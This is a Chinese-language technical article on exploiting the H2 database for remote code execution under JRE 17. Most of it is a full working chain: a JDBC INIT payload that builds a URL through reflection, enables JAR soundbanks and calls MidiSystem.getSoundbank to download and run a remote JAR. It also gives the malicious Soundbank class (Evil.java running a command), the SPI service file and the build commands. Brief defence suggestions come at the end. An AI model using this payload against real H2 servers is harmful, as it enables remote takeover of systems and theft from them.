H2 RCE在JRE 17环境下的利用-续集
字数 1207 2025-09-01 11:26:17
H2 RCE在JRE 17环境下的利用技术分析
背景介绍
在Java 17环境中,由于Nashorn JavaScript引擎被移除(实际上从Java 15开始就被删除),且JRE没有javac命令,传统的H2数据库RCE利用方式失效。本文详细分析在JRE 17环境下利用H2数据库实现远程代码执行的技术细节。
环境要求
- JDK版本:17.0.11
- H2数据库版本:2.0.204
- CodeQL分析使用H2数据库版本:2.3.239(使用JDK8编译)
技术挑战
-
Java 17的限制:
- 移除了Nashorn JavaScript引擎
- JRE环境缺少javac命令
- JDK 16+的module强封装机制
-
序列化限制:
- 参数需要是可序列化的对象
- 传统URLClassLoader无法直接序列化
利用技术分析
关键利用点
-
对象实例化:
- 使用
org.h2.util.Utils.newInstance反射创建对象 - 结合
javax.naming.ldap.Rdn.unescapeValue进行字符串到对象的转换
- 使用
-
MidiSystem利用:
- 通过
javax.sound.midi.MidiSystem.getSoundbank加载远程JAR - 利用Soundbank SPI机制执行恶意代码
- 通过
完整Payload
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS Utils_INSTANCE FOR
'org.h2.util.Utils.newInstance(java.lang.String,java.lang.Object[])'\;
SET @classname_str='java.net.URL'\;
CREATE ALIAS UNESCAPE_VALUE FOR
'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)'\;
SET @url_str='http://127.0.0.1:8000/1.jar'\;
SET @url_obj=UNESCAPE_VALUE(@url_str)\;
SET @url_object=Utils_INSTANCE(@classname_str,@url_obj)\;
CREATE ALIAS System_INSTANCE FOR
'java.lang.System.setProperty(java.lang.String,java.lang.String)'\;
CALL System_INSTANCE('jdk.sound.jarsoundbank','true')\;
CREATE ALIAS MidiSystem_INSTANCE FOR
'javax.sound.midi.MidiSystem.getSoundbank(java.net.URL)'\;
CALL MidiSystem_INSTANCE(@url_object)\;
恶意JAR构造
文件结构:
src/
├── Evil.java
└└── META-INF
└└── services
└└── javax.sound.midi.Soundbank
Evil.java内容:
import javax.sound.midi.Instrument;
import javax.sound.midi.Patch;
import javax.sound.midi.SoundbankResource;
import java.io.IOException;
public class Evil implements javax.sound.midi.Soundbank{
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public String getName() { return ""; }
@Override
public String getVersion() { return ""; }
@Override
public String getVendor() { return ""; }
@Override
public String getDescription() { return ""; }
@Override
public SoundbankResource[] getResources() { return new SoundbankResource[0]; }
@Override
public Instrument[] getInstruments() { return new Instrument[0]; }
@Override
public Instrument getInstrument(Patch patch) { return null; }
}
javax.sound.midi.Soundbank内容:
Evil
编译命令:
javac src\Evil.java
jar -cvf payload.jar -C src/ .
技术原理分析
-
URL对象构造:
- 使用H2内置的
org.h2.util.Utils.newInstance反射构造URL对象 - 通过
Rdn.unescapeValue进行字符串到对象的转换
- 使用H2内置的
-
MidiSystem利用链:
MidiSystem.getSoundbank(URL)会尝试加载JAR文件- 内部使用
JARSoundbankReader#getSoundbank(URL)方法 - 该方法实现了类似
ServiceLoader.load(Class)的功能
-
关键系统属性:
- 需要设置
jdk.sound.jarsoundbank为true - 通过
System.setProperty设置 - 否则
Boolean.getBoolean(JAR_SOUNDBANK_ENABLED)检查会失败
- 需要设置
防御建议
- 升级H2数据库到最新版本
- 限制H2数据库的网络访问
- 在Java安全策略中限制相关类的反射调用
- 监控
System.setProperty的调用 - 对加载远程JAR的行为进行审计
总结
该技术利用H2数据库的SQL注入能力,结合Java的SPI机制和反射功能,在JRE 17环境下实现了无需额外依赖的RCE。关键在于:
- 使用H2内置的反射工具类
- 利用MidiSystem的JAR加载功能
- 通过Soundbank SPI机制执行恶意代码